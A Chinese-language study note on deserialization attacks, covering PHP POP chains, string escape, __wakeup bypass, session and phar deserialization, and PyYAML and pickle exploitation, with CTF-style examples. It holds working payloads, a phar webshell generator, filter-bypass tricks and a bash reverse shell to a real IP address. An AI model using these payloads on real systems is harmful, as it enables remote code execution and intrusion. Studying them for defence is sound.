php反序列化

PHP反序列化漏洞

一、基础知识

php面向对象的基本概念

类与对象

class hero{
    var $name; #var默认是public
    public $sex;
    function(){
        echo $this->name; #必须用this访问类内变量
    }
}

$cyj= new hero();
$cyj->name='chengyaojin'; #注意不是.访问
$cyj->sex='male';
$cyj->function();
print_r($cyj); ->输出name和sex

public:任何地方调用

protected:外部不允许调用

private:子类、外部不允许调用

php中的继承:class hero2 extends hero{...}

PHP序列化：对象->字符串

null -> N;
666 -> i:666;
66.6 -> d:66.6;
true -> b:1;
false -> b:0;
'benben' -> s:6:"benben"; #6是长度，我们插入双引号不会提前闭合
array('benben','dazhuang','laoliu'); -> 
    a(array数组):3(参数数量):{i:0(编号);s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}

class test{ public $pub='benben';} -> O(object对象):4(类名长度):"test"(类名):1(变量数量不包含函数):{s:3:"pub";s:6:"benben";(分别是名字和值)..;...;}

class test{ private(私有) $pub='benben';} -> O(object对象):4(类名长度):"test"(类名):1(变量数量不包含函数):{s:9:"testpub"(加上了%00+类名+%00，所以长度是9);s:6:"benben";(分别是名字和值)}（%00是空）
    
class test{ protected $pub='benben';} -> O(object对象):4(类名长度):"test"(类名):1(变量数量不包含函数):{s:6:"*pub";s:6:"benben"(加的是%00+*+%00);(分别是名字和值)..;...;}
#提交的时候记得url编码

class test2{ var ben; function _construct{ ben=new test(); }} -> O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}} #ben的值就是test类序列化之后字符串

PHP反序列化

反序列化生成的是一个对象，如果没有这个类，有报错，也可以执行

反序列化生成的对象的值，又反序列化内的值提供，与预定义的默认值无关

反序列化不触发类的方法，需要用魔术方法

我们反序列化的代码，要用%00进行urldecode($d)

$d='O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}';
$d=urldecode($d);
var_dump(unserialize($d));
$f=unserialize($d);
$f->displayVar(); #调用类内函数，必须存在这个类的函数

二、反序列化漏洞基础

反序列化漏洞的成因：unserialize接受的值可控

例题：

<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}

$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;

?>

利用：让$b成为test类的一个对象，构造$a，调用eval函数，执行命令

?benben=O:4:"test":1:{s:1:"a";s:13:"system("id");";} #序列化的字符串必须是双引号包裹

魔术方法

魔术方法：一个预定义的，特定情况触发的行为方法

重点：触发时机，功能，参数，返回值

1.__construct()

实例化一个对象的时候，会自动执行构造函数
$a=new User(“benben”);

2.__destruct()

销毁一个对象会自动调用，我们反序列化生成的对象也会自动调用析构函数！

3.__wakeup()

反序列化unserialize()之前自动调用__wakeup()

不需要构造所有的类属性，只用构造有用的

4.__sleep()

serialize()函数之前会自动调用__sleep()

功能：返回被序列化存储的成员属性 参数：属性，不必要

public function __sleep() {
    return array('username', 'nickname');
  } #重写了__sleep()，echo serialize($user);只会输出这两个的值
#O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}

5.__toString()

表达方式错误时触发，构造pop

$test = new User() ;
print_r($test);
echo "<br />";
echo $test; #参数格式错误，调用__toString()
print $test; #参数格式错误，调用__toString()
文件操作函数加一个对象,也会触发
file_exists($test);
. 是字符串连接符，当然也可以调用

6.__invoke()

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $benben = "this is test!!";
         public function __invoke()
         {
             echo  '它不是个函数!';
          }
}
$test = new User() ;
echo $test ->benben;
echo "<br />";
echo $test() ->benben; #当把一个对象当做函数执行，__invoke()自动调用
?>
this is test!!
它不是个函数!

7.__call()

调用时机：当调用对象的一个不存在的方法时触发
参数：可传入参数，默认2个($不存在方法的名字,$传入的参数名字)

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public function __call($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
          }
}
$test = new User() ;
$test -> callxxx('a');
?>

callxxx,a

8.__callStatic()

静态调用不存在的方法$test::callxxx('a');

其他与call相同

9.__get()

当成员属性不存在时调用

$test->var2;变量不存在时会调用

默认传参不存在的变量名，$arg1

10.__set()

当给不存在的成员属性赋值时触发

参数：属性名，传入的值

11.__isset()

当对不可访问属性(private,protected或者不存在)使用isset()或empty()，isset()会被调用

传参$arg1:不存在的成员属性名称

12.__unset()

当对不可访问属性或不存在的属性使用unset()触发

传参$arg1:不存在的成员属性名称

13.__clone()

当使用clone关键字完成拷贝一个对象后，新对象会自动调用定义的魔术方法__clone()

$test = new User() ;
$newclass = clone($test); #克隆对象必须存在

POP链前置知识

1.例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test;
    public function __construct(){
        $this->test = new normal();
    }
    public function __destruct(){
        $this->test->action();
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){
        eval($this->test2); #利用点
    }
}
unserialize($_GET['test']);
?>

#eval->action()->__destruct()->$test，需要把test变成evil对象,反序列化的时候定义$test为new evil()->赋值test2进行利用

反序列化不会触发__construct()，可以写入$test

在构造序列化字符串时，可以编写程序，略去无关的函数和类，把需要赋值的数据写上即可

<?php
class index {
    private $test;
    public function __construct()
    {
        $this->test = new evil();
    }
}

class evil {
    var $test2="system('id');";

}
echo serialize(new index());
?>

或者假设$test是public,构造完之后再加上%00index%00：

<?php
class index {
    var $test;
}

class evil {
    var $test2;
}
$a=new evil();
$a->test2='system("ls -l");'
$b=new index();
$b->test=$a;
echo serialize($b);
?>

2.魔术方法触发的前提：魔术方法所在的类或对象被调用（也就是new函数）

<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
    public $source;
    public function __wakeup(){
        echo "wakeup is here!!";
        echo  $this->source;
    }
}

class sec {
    var $benben;
    public function __tostring(){
        echo "tostring is here!!";
    }
}
$b = $_GET['benben'];
unserialize($b);
?>
#想要触发sec中__toString()->让source类型错误，利用fast的__wakeup->$source=new sec();

如果反序列化对应的类里没有__wakeup()函数，那么不会执行

构造语句：

<?php
class fast {
    public $source;
}
class sec {
    var $benben;
}
$a=new sec();
$b=new fast();
$b->source=$a;
echo serialize($b);
?>
O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}  

三、反序列化漏洞利用

1.POP链的构造

也就是通过魔术方法的多次跳转来获取敏感数据，倒推法

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)#2:想办法调用append()，而且$value必须是flag.php，从而而读取出来$flag
    {
        include($value);
        echo $flag;	#1:触发echo，调用flag
    }
    public function __invoke(){
        $this->append($this->var); #3：invoke()调用了append(),传入了var，当把一个对象当做函数执行，__invoke()自动调用
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){#7：如何触发__tostring(),表达方式错误时触发(echo 对象)
        return $this->str->source;#6:这里访问了一个类内的变量，可以实现get报错
    }
    public function __wakeup(){#9.反序列化触发__wakeup()
        echo $this->source; #8.把自己(Show)当成一个对象，echo输出，触发__toString()
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){#5.想要4，必须调用__get()，当成员属性不存在时调用
        $function = $this->p; 
        return $function(); #4:如果p是一个对象Modifier,那么类就能被当做函数使用，从而invoke()执行
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

__construct():在反序列化没用

正向分析：

构造Show对象的反序列化，触发__wakeup()
构造$source为Show对象,让对象以错误的方法输出，自动调用__toString()
构造$str为Test，实现访问类内不存在的变量，自动调用Test的__get()
构造$p为Modifier,从而实现类名被当做函数使用，自动调用Modifier里的__invoke()
__invoke()调用了append($var),传入$var=flag.php
append()函数自动读取flag

构造POC:删掉所有函数，赋值

<?php
class Modifier {
    private $var='flag.php';#私有属性类内赋值
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$test=new Test();
$show=new Show();
$show->source=$show;
$show->str=$test;
$mod=new Modifier();
$test->p=$mod;
echo serialize($show);
?>
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
记得改%00

四、字符串逃逸基础

应对的是题目把你输入的指令序列化，过滤，再反序列化

1、字符减少——吃

当反序列化添加了不存在的属性，必须把属性个数增加

如果成员个数与大括号内不一致，报错bool(false)，字符串长度必须正确，否则报错

如果缺少了类内的某个变量，序列化之后的对象会自动赋默认值

;}
#当前面的内容没有问题，;}就是序列化字符串的结束符，后面的东西无影响，没有问题就是;}不在字符串的长度之中
#属性逃逸
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
    public $v1 = "abcsystem()system()system()";
    public $v2 = '123';

    public function __construct($arga,$argc){
            $this->v1 = $arga;
            $this->v2 = $argc;
    }
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>

在经过str_replace()处理之后，字符串的长度已经和数字不同，反序列化失败

此时序列化的字符串变成了:O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}

11个顺序向下读取，v1的值变成abc";s:2:"v

如果把123之前的代码全部吃掉abc";s:2:"v2";s:3:"，那么123处就能成为功能性代码

注意：图中少了分号，计算的时候，要把双引号吃掉！用xx数个数是因为，v2的值是我们构造的代码，一般长度超过十位数，用两位xx代替计算

abc";s:2:"v2";s:xx:"吃掉20个，去掉abc还需要吃17个，需要3个system()，24个多出来7个，那就让最后加上7个字符1234567

绿色部分是要构造的字符串，我们创建一个新属性进行逃逸

这个新属性首先要闭合我们吃掉的双引号，再加上分号闭合之前的语句，之后就可以构造想要的属性了，最后记得用;}闭合语句，这样就注释掉了原本的”;

反序列化生成的是三个属性的对象，v2是默认值

例题

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name); #字符减少
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){ #vip改为true
    echo file_get_contents("flag.php");
}
?>

构造poc

<?php
class test
{
    var $user="flag";
    var $pass="benben";
    var $vip=true;
}
echo serialize(new test());
O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

我们要构造";s:3:"vip";b:1;}

flag是吃2个，php吃1个，吃掉的部分是";s:4:"pass";s:xx:" 吃19个->10个flag，多一个，在benben之前加个1

user=flagflagflagflagflagflagflagflagflagflag

pass=1”;s:3:”vip”;b:1;}

因为我们吃掉了pass属性，object处的个数不对，所以这里还要构造一个pass属性

pass=1”;s:4:”pass”;s:6:”benben”;s:3:”vip”;b:1;}

2.字符增多——吐

把原本属于字符串的代码吐出来，在一个变量即可完成

$data = str_replace("ls","pwd",$data);	#长度加了1
O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
->	O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
#想要构造 ";s:2:"v3";s:3:"666";}	需要吐出来22位,一个ls吐一个
$v1=lslslslslslslslslslsls.....lsls";s:2:"v3";s:3:"666";}

实际应用：

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];
$param=serialize(new test($param)); #param给user赋值
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){#需要改变pass属性的值
    echo file_get_contents("flag.php");
}
?>

php会变成hack，长度增加，吐代码，一次吐一个

构造poc:

<?php
class test
{
    var $user="benben";
    var $pass="escaping";
}
echo serialize(new test());
O:4:"test":2:{s:4:"user";s:6:"benben";s:4:"pass";s:8:"escaping";}
# ";s:4:"pass";s:8:"escaping";}这段就是我们要逃逸的代码
#需要29个php
$param=phpphp...29...php";s:4:"pass";s:8:"escaping";}

五、wakeup绕过

CVE-2016-7124

如果属性个数大于真实属性个数，会跳过___wakeup()的执行

php5<5.6.25 php7<7.0.10

function __wakeup(){
        $this->file='index.php';
    }
preg_match('/[oc]:\d+:/i',$cmd)
    #o后面不能跟数字，数字前面加上一个加号，url编码绕过
O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

影响代码执行

六、引用的利用方式

<?php
include("flag.php");
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
    $pass=str_replace('*','\*',$pass); #过滤了*
}

$o = unserialize($pass);

if ($o) {
    $o->secret = "*";#重置了secret,同理，判断两个是否相等的题都可以引用
    if ($o->secret === $o->enter)#让$enter=*
        echo "Congratulation! Here is my secret: ".$flag;
    else
        echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
    
    
$a=new just4fun();
$a->enter=&$a->secret; #enter是secret的一个引用,enter等于secret
echo serialize($a);
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

七、session反序列化

session

当session_start()被调用或者php.ini的session.auto_start为1时，PHP内部会调用会话管理器，访问用户session被序列化后，存储到指定目录，默认为/tmp，sess_??????

存储数据的格式有很多种，常见的有三种

漏洞产生：写入格式与读取格式不一致

1.benben|s:6:”123456” 默认是php处理

2.php_serialize:声明ini_set(‘session.serialize_handler’,’php_serialize’);

a:2:{s:6:"benben";s:8:"dazhuang";s:1:"b";s:3:"666";}以数组形式存储

3.php_binary：ini_set(‘session.serialize_handler’,’php_binary’);

二进制的06代表键长度

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
    
<?php 
highlight_file(__FILE__);
error_reporting(0);

ini_set('session.serialize_handler','php');
session_start();

class D{
    var $a;
    function __destruct(){
        eval($this->a);
    }
}
?>    

两段代码以不同的方式分别对session进行读写，引起反序列化漏洞

我们写入|O:1:"D":1:{s:1:"a";s:13:"system("id");";}

经过php_serialize的方式写入之后变成a:1:{s:3:”ben”;s:39:”|O:1:”D”:1:{s:1:”a”;s:13:”system(“id”);”;}”;}

经过php方式读取时，会误以为竖线前面的是键名，后面是反序列化的值，于是生成了我们需要的D对象

例题

<?php
highlight_file(__FILE__);
/*hint.php*/    hint.php可以提交session,使用php_serialize方法
session_start();
class Flag{
    public $name;
    public $her;
    function __wakeup(){
        $this->her=md5(rand(1, 10000));
        if ($this->name===$this->her){
            include('flag.php');
            echo $flag;
        }
    }
}
?>

使用引用来做

$a->name=&$a->her;

构造前面加一个竖线

八、phar反序列化

如果没有反序列化的点，可以上传文件可用phar

类似于jar的一种打包文件，php>5.3默认开启

利用phar伪协议读取.phar文件

$phar结构$

文件标识，格式为xxx<?php xxx;__HALT_COMPiler;?>

mainfest压缩文件的属性信息，以序列化存储

content内容 signature签名

phar协议解析文件时，会自动触发对mainfest字段的反序列化

class Testobj
{
    var $output="echo 'ok';";
    function __destruct()
    {
        eval($this->output);
    }
}
$filename=$_GET['filename'];
var_dump(file_exists($filename));
?filename=phar://test.phar

配合文件上传使用

<?php
class Testobj //改成你的类名
{
    var $output='';
}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象，文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new Testobj();//别忘了改类名
$o->output='eval($_GET["a"]);';//两个eval可以不用重新计算长度
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

phar://协议不看后缀，上传jpg/png都可以成功读取

要有可用的反序列化魔术方法作为跳板 __destruct __wakeup

要有文件操作函数

文件操作函数参数可控，不过滤 : / phar

绕过方式

存在漏洞，就会存在防护，通常针对Phar反序列化也是有防范的。这里简单的总结一下常见的绕过方式。

更改文件格式

我们利用Phar反序列化的第一步就是需要上传Phar文件到服务器，而如果服务端存在防护，比如这种

$_FILES["file"]["type"]=="image/gif"

要求文件格式只能为gif，这个时候我们该怎么办呢？
这个时候我们需要朝花夕拾，重提一下PHP识别Phar文件的方式。PHP通过Stub里的__HALT_COMPILER();来识别这个文件是Phar文件，对于其他是无限制的，这个时候也就意味着我们即使对文件后缀和文件名进行更改，其实质仍然是Phar文件。
示例代码

<?php
    class Test {
        public $name;
        function __construct(){
            echo "I am".$this->name.".";
        }
    }
    $obj = new Test();
    $obj -> name = "quan9i";
    $phar = new Phar('test.phar');
    $phar -> startBuffering(); //开始缓冲 Phar 写操作
    $phar -> setStub('GIF89a<?php __HALT_COMPILER();?>'); //设置stub，添加gif文件头
    $phar ->addFromString('test.txt','test'); //要压缩的文件
    $phar -> setMetadata($obj);  //将自定义meta-data存入manifest
    $phar -> stopBuffering(); ////停止缓冲对 Phar 归档的写入请求，并将更改保存到磁盘
?>

在浏览器上访问此文件生成test.phar文件，用010editor查看

随便找一个分析文件格式的

变成Gif格式，这种上传一般可以绕过大多数上传检测。

绕过Phar关键字检测

Phar反序列化中，我们一般思路是上传Phar文件后，通过给参数赋值为Phar://xxx来实现反序列化，而一些防护可能会采取禁止参数开头为Phar等关键字的方式来防止Phar反序列化，示例代码如下

if (preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){
    die();
}

绕过的话，我们的办法是使用各种协议来进行绕过，具体如下

1、php://filter/read=convert.base64-encode/resource=phar://test.phar
//即使用filter伪协议来进行绕过
2、compress.bzip2://phar:///test.phar/test.txt
//使用bzip2协议来进行绕过
3、compress.zlib://phar:///home/sx/test.phar/test.txt
//使用zlib协议进行绕过

绕过__HALT_COMPILER检测

我们在前文初识Phar时就提到过，PHP通过__HALT_COMPILER来识别Phar文件，那么出于安全考虑，即为了防止Phar反序列化的出现，可能就会对这个进行过滤，示例代码如下

if (preg_match("/HALT_COMPILER/i",$Phar){
    die();
}

这里的话绕过思路有两个
1、将Phar文件的内容写到压缩包注释中，压缩为zip文件，示例代码如下

<?php
$a = serialize($a);
$zip = new ZipArchive();
$res = $zip->open('phar.zip',ZipArchive::CREATE); 
$zip->addFromString('flag.txt', 'flag is here');
$zip->setArchiveComment($a);
$zip->close();    
?>

2、将生成的Phar文件进行gzip压缩，压缩命令如下

gzip test.phar

pyYaml反序列化

漏洞点：文件上传+yaml.load()

def Saying():
    if request.args.get('path'):
        
      
            with open(file, 'rb') as f:
                f = f.read()
                if waf(f):
                    print(yaml.load(f, Loader=Loader))
                    return render_template('sayings.html', yaml='鲁迅说：当你看到这句话时，还没有拿到flag，那就赶紧重开环境吧')

漏洞利用

PyYaml<=5.1

针对!!python/module标签

poc.yaml/poc.txt

!!python/module:static.upload

yaml.load('!!python/module:eval')

上面这句话用于当执行yaml目录和后门(upload)不在同一目录时

下面的可选，如果上传的木马叫__init__.py则不用

否则需要加上木马的名字

__init__.py

import os
os.system('bash -c "bash -i >& /dev/tcp/47.237.137.220/7777 0>&1"')
#/static/upload/__init__.py

PyYaml>5.1

在PyYaml>5.1的版本之后，如果要使用load()函数，要跟上一个Loader的参数，否则会报错。(不影响正常输出)

1.沿用PyYaml<=5.1的poc

from yaml import *
poc= b"""!!python/object/apply:os.system
- calc"""
#subprocess.check_output
#os.popen
#subprocess.run
#subprocess.call
#subprocess.Popen

yaml.load(poc,Loader=Loader)

2.利用builtins模块中的内置函数

….利用ruamel.yaml读写yaml文件

十、pickle反序列化

https://tttang.com/archive/293/

我们知道各大语言都有其序列化数据的方式，Python当然也有，官方库里提供了一个叫做pickle/cPickle的库，这两个库的作用和使用方法都是一致的，只是一个用纯py实现，另一个用c实现而已。使用起来也很简单，基本和PHP的serialize/unserialize方法一样：

import cPickle 

data = "test" 
packed = cPickle.dumps(data) # 序列化 
data = cPickle.loads(packed) # 反序列化 

>>> packed 
"S'test'\np1\n."

同样pickle可以序列化python的任何数据结构，包括一个类，一个对象：

>>> class A(object): 
...     a = 1 
...     b = 2 
...     def run(self): 
...         print self.a, self.b 
... 
>>> cPickle.dumps(A()) 
'ccopy_reg\n_reconstructor\np1\n(c__main__\nA\np2\nc__builtin__\nobject\np3\nNtRp4\n.'

这里可以看到，连code都被序列化进去了。如果我们这个run函数是可以被自动执行的，那就可以形成一个很完美的远程执行。

如何让run函数被自动执行呢？类似于php的wakeup魔术方法，python也有其自己的方法，例如__reduce，可以在被反序列化的时候执行。具体内容请参考Python的官方库文档。而且并不止这一个函数。

我们利用reduce做一个测试：

>>> class A(object): 
...     a = 1 
...     b = 2 
...     def __reduce__(self): 
...         return (subprocess.Popen, (('cmd.exe',),)) 
... 
>>> cPickle.dumps(A()) 
"csubprocess\nPopen\np1\n((S'cmd.exe'\np2\ntp3\ntp4\nRp5\n."

然后新开一个py的命令行，模拟是接收方：

>>> cPickle.loads("csubprocess\nPopen\np1\n((S'cmd.exe'\np2\ntp3\ntp4\nRp5\n.") 
<subprocess.Popen object at 0x00BB8DD0> 
>>> Microsoft Windows XP [版本 5.1.2600] 
(C) 版权所有 1985-2001 Microsoft Corp. 

C:\Documents and Settings\testuser>exit
Use exit() or Ctrl-Z plus Return to exit 
>>>

bingo，很完美的一个shell，不是么：）

只要你可以控制序列化中的内容，就可以让接收方去执行你提供的代码。

0x02 实例

那么现实中是否有类似的代码呢？请灵活使用google

我这里随便搜了一个很有代表性的代码：http://djangosnippets.org/snippets/2126/

def unpickle_stats(stats): 
    """Unpickle a pstats.Stats object""" 
    stats = cPickle.loads(stats) **#注意这里** 
    stats.stream = True 
return stats

def process_request(self, request): 
        """  Setup the profiler for a profiling run and clear the SQL query log. 

  If this is a resort of an existing profiling run, just return  the resorted list.  """ 
        def unpickle(params): 
            stats = unpickle_stats(b64decode(params.get('stats', ''))) #这里直接从url参数中获取了 
            queries = cPickle.loads(b64decode(params.get('queries', ''))) #这里也是 
            return stats, queries 

        if request.method != 'GET' and \ 
           not (request.META.get('HTTP_CONTENT_TYPE', 
                                 request.META.get('CONTENT_TYPE', '')) in 
                ['multipart/form-data', 'application/x-www-form-urlencoded']): 
            return 
        if (request.REQUEST.get('profile', False) and 
            (settings.DEBUG == True or request.user.is_staff)): 
            request.statsfile = tempfile.NamedTemporaryFile() 
            params = request.REQUEST 
            if (params.get('show_stats', False) 
                and params.get('show_queries', '1') == '1'): 
                # Instantly re-sort the existing stats data 
                stats, queries = unpickle(params) # 这里调用了

这是某个开发者写的django middleware的代码，很easy被利用，不是么?